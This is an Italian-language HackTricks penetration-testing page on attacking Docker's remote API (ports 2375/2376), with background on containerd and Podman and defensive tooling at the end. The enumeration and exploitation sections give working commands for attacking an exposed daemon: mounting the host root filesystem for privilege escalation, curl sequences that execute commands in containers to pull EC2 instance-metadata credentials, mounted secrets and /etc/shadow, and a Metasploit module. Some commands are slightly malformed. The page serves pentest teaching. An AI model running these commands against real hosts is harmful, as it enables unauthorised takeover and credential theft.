hacktricks/network-services-pentesting/2375-pentesting-docker.md

# 2375, 2376 Test di penetrazione Docker

<details>

<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>

Altri modi per supportare HackTricks:

* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.

</details>

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.

Il loro obiettivo principale di WhiteIntel è combattere i takeover di account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:

{% embed url="https://whiteintel.io" %}

---

### Concetti di base di Docker

#### Cos'è

Docker è la **piattaforma all'avanguardia** nell'industria della **containerizzazione**, guidando **innovazioni continue**. Agevola la creazione e la distribuzione senza sforzo di applicazioni, spaziando da quelle **tradizionali a quelle futuristiche**, e garantisce il loro **deployment sicuro** in ambienti diversi.

#### Architettura di base di Docker

* [**containerd**](http://containerd.io): Questo è un **runtime core** per i container, incaricato della **gestione completa del ciclo di vita di un container**. Questo include la gestione del **trasferimento e dello storage delle immagini**, oltre a supervisionare l'**esecuzione, il monitoraggio e la rete** dei container. **Ulteriori approfondimenti** su containerd sono **ulteriormente esplorati**.
* Il **container-shim** svolge un ruolo critico come **intermediario** nella gestione dei **container headless**, prendendo il controllo in modo fluido da **runc** dopo che i container sono inizializzati.
* [**runc**](http://runc.io): Stimato per le sue capacità di **runtime container leggero e universale**, runc è allineato allo **standard OCI**. Viene utilizzato da containerd per **avviare e gestire i container** secondo le **linee guida OCI**, essendo evoluto dall'originale **libcontainer**.
* [**grpc**](http://www.grpc.io) è essenziale per **facilitare la comunicazione** tra containerd e il **docker-engine**, garantendo un'**interazione efficiente**.
* L'[**OCI**](https://www.opencontainers.org) è fondamentale per mantenere le **specifiche OCI** per il runtime e le immagini, con le ultime versioni di Docker che sono **conformi sia agli standard OCI per le immagini che per il runtime**.

#### Comandi di base
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache
```
#### Containerd

**Containerd** è stato sviluppato specificamente per soddisfare le esigenze delle piattaforme di container come **Docker e Kubernetes**, tra gli altri. Il suo obiettivo è **semplificare l'esecuzione dei container** su vari sistemi operativi, tra cui Linux, Windows, Solaris e altri, astraiendo la funzionalità specifica del sistema operativo e le chiamate di sistema. L'obiettivo di Containerd è quello di includere solo le funzionalità essenziali richieste dai suoi utenti, cercando di omettere componenti non necessarie. Tuttavia, raggiungere completamente questo obiettivo è considerato una sfida.

Una decisione progettuale chiave è che **Containerd non gestisce la rete**. La rete è considerata un elemento critico nei sistemi distribuiti, con complessità come Software Defined Networking (SDN) e discovery dei servizi che variano significativamente da una piattaforma all'altra. Pertanto, Containerd lascia che gli aspetti della rete siano gestiti dalle piattaforme che supporta.

Mentre **Docker utilizza Containerd** per eseguire i container, è importante notare che Containerd supporta solo una parte delle funzionalità di Docker. In particolare, Containerd manca delle capacità di gestione della rete presenti in Docker e non supporta la creazione di Docker swarms direttamente. Questa distinzione sottolinea il ruolo focalizzato di Containerd come ambiente di runtime per i container, delegando funzionalità più specializzate alle piattaforme con cui si integra.
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
```
#### Podman

**Podman** è un motore di container open-source che aderisce agli standard dell'[Open Container Initiative (OCI)](https://github.com/opencontainers), sviluppato e mantenuto da Red Hat. Si distingue da Docker per diverse caratteristiche, in particolare la sua **architettura senza daemon** e il supporto ai **container senza privilegi di root**, che consentono agli utenti di eseguire container senza privilegi di root.

Podman è progettato per essere compatibile con l'API di Docker, consentendo l'uso dei comandi CLI di Docker. Questa compatibilità si estende al suo ecosistema, che include strumenti come **Buildah** per la creazione di immagini di container e **Skopeo** per operazioni sulle immagini come push, pull e inspect. Ulteriori dettagli su questi strumenti possono essere trovati sulla loro [pagina GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).

**Differenze Chiave**

* **Architettura**: A differenza del modello client-server di Docker con un daemon in background, Podman funziona senza un daemon. Questo design significa che i container vengono eseguiti con i privilegi dell'utente che li avvia, migliorando la sicurezza eliminando la necessità di accesso di root.
* **Integrazione con systemd**: Podman si integra con **systemd** per gestire i container, consentendo la gestione dei container tramite unità systemd. Questo contrasta con l'uso di systemd da parte di Docker principalmente per gestire il processo del daemon Docker.
* **Container senza privilegi di root**: Una caratteristica fondamentale di Podman è la sua capacità di eseguire container con i privilegi dell'utente che li avvia. Questo approccio riduce al minimo i rischi associati alle violazioni dei container garantendo che gli attaccanti ottengano solo i privilegi dell'utente compromesso, non l'accesso di root.

L'approccio di Podman offre un'alternativa sicura e flessibile a Docker, enfatizzando la gestione dei privilegi degli utenti e la compatibilità con i flussi di lavoro di Docker esistenti.

{% hint style="info" %}
Si noti che poiché podman mira a supportare la stessa API di docker, è possibile utilizzare gli stessi comandi con podman come con docker come:
```bash
podman --version
podman info
pdoman images ls
podman ls
```
{% endhint %}

### Informazioni di Base

L'API remota è in esecuzione per impostazione predefinita sulla porta 2375 quando abilitata. Il servizio per impostazione predefinita non richiederà autenticazione, consentendo a un attaccante di avviare un container Docker privilegiato. Utilizzando l'API remota è possibile collegare gli host / (directory root) al container e leggere/scrivere file dell'ambiente dell'host.

**Porta predefinita:** 2375
```
PORT    STATE SERVICE
2375/tcp open  docker
```
### Enumerazione

#### Manuale

Si noti che per enumerare l'API di Docker è possibile utilizzare il comando `docker` o `curl` come nell'esempio seguente:
```bash
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683
```
Se riesci a **contattare l'API remota di Docker con il comando `docker`** puoi **eseguire** qualsiasi dei **comandi Docker** [**precedentemente** commentati](2375-pentesting-docker.md#basic-commands) per interagire con il servizio.

{% hint style="info" %}
Puoi `export DOCKER_HOST="tcp://localhost:2375"` e **evitare** di utilizzare il parametro `-H` con il comando docker
{% endhint %}

**Escalation rapida dei privilegi**
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
**Curl**

A volte vedrai **2376** attivo per il **TLS** endpoint. Non sono riuscito a connettermi ad esso con il client docker ma è possibile farlo con curl.
```bash
#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
Se desideri ulteriori informazioni su questo argomento, puoi trovarne di più nel sito da cui ho copiato i comandi: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)

#### Automatico
```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
```
### Compromettere

Nella seguente pagina puoi trovare modi per **uscire da un container docker**:

{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %}

Abusando di questo è possibile uscire da un container, potresti eseguire un container debole nella macchina remota, uscirne e compromettere la macchina:
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)

### Escalazione dei privilegi

Se ti trovi all'interno di un host che sta utilizzando Docker, potresti [**leggere queste informazioni per provare ad elevare i privilegi**](../linux-hardening/privilege-escalation/#writable-docker-socket).

### Scoperta di segreti nei container Docker in esecuzione
```bash
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
```
Controlla la sezione **env** (variabili d'ambiente) per segreti e potresti trovare:

* Password.
* Indirizzi IP.
* Porte.
* Percorsi.
* Altri... .

Se desideri estrarre un file:
```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```
### Sicurezza del tuo Docker

#### Sicurezza dell'installazione e dell'uso di Docker

* Puoi utilizzare lo strumento [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) per ispezionare la tua attuale installazione di Docker.
* `./docker-bench-security.sh`
* Puoi utilizzare lo strumento [https://github.com/kost/dockscan](https://github.com/kost/dockscan) per ispezionare la tua attuale installazione di Docker.
* `dockscan -v unix:///var/run/docker.sock`
* Puoi utilizzare lo strumento [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) per verificare i privilegi che un container avrà quando viene eseguito con diverse opzioni di sicurezza. Questo è utile per conoscere le implicazioni dell'utilizzo di alcune opzioni di sicurezza per eseguire un container:
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`

#### Sicurezza delle immagini Docker

* Puoi utilizzare un'immagine Docker di [https://github.com/quay/clair](https://github.com/quay/clair) per eseguire la scansione delle tue altre immagini Docker e individuare vulnerabilità.
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`

#### Sicurezza dei Dockerfiles

* Puoi utilizzare lo strumento [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) per **ispezionare il tuo Dockerfile** e trovare tutti i tipi di misconfigurazioni. Ogni misconfigurazione verrà assegnata un ID, puoi trovare qui [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) come risolvere ciascuna di esse.
* `dockerfilelinter -f Dockerfile`

![](<../.gitbook/assets/image (173).png>)

* Puoi utilizzare lo strumento [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) per **ispezionare il tuo Dockerfile** e trovare tutti i tipi di misconfigurazioni.
* `dockerfilelint Dockerfile`

![](<../.gitbook/assets/image (209).png>)

* Puoi utilizzare lo strumento [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) per **ispezionare il tuo Dockerfile** e trovare tutti i tipi di misconfigurazioni.
* `dockerlint Dockerfile`

![](<../.gitbook/assets/image (68).png>)

* Puoi utilizzare lo strumento [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) per **ispezionare il tuo Dockerfile** e trovare tutti i tipi di misconfigurazioni.
* `hadolint Dockerfile`

![](<../.gitbook/assets/image (498).png>)

#### Registrazione di attività sospette

* Puoi utilizzare lo strumento [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) per rilevare **comportamenti sospetti nei container in esecuzione**.
* Nota nel seguente blocco come **Falco compila un modulo del kernel e lo inserisce**. Dopo di che, carica le regole e **inizia a registrare attività sospette**. In questo caso ha rilevato 2 container privilegiati avviati, di cui uno con un mount sensibile, e dopo alcuni secondi ha rilevato l'apertura di una shell all'interno di uno dei container.
```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```
#### Monitoraggio di Docker

Puoi utilizzare auditd per monitorare Docker.

### Riferimenti

* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)


### [WhiteIntel](https://whiteintel.io)

<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.

Il loro obiettivo principale è contrastare le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:

{% embed url="https://whiteintel.io" %}


<details>

<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Altri modi per supportare HackTricks:

* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>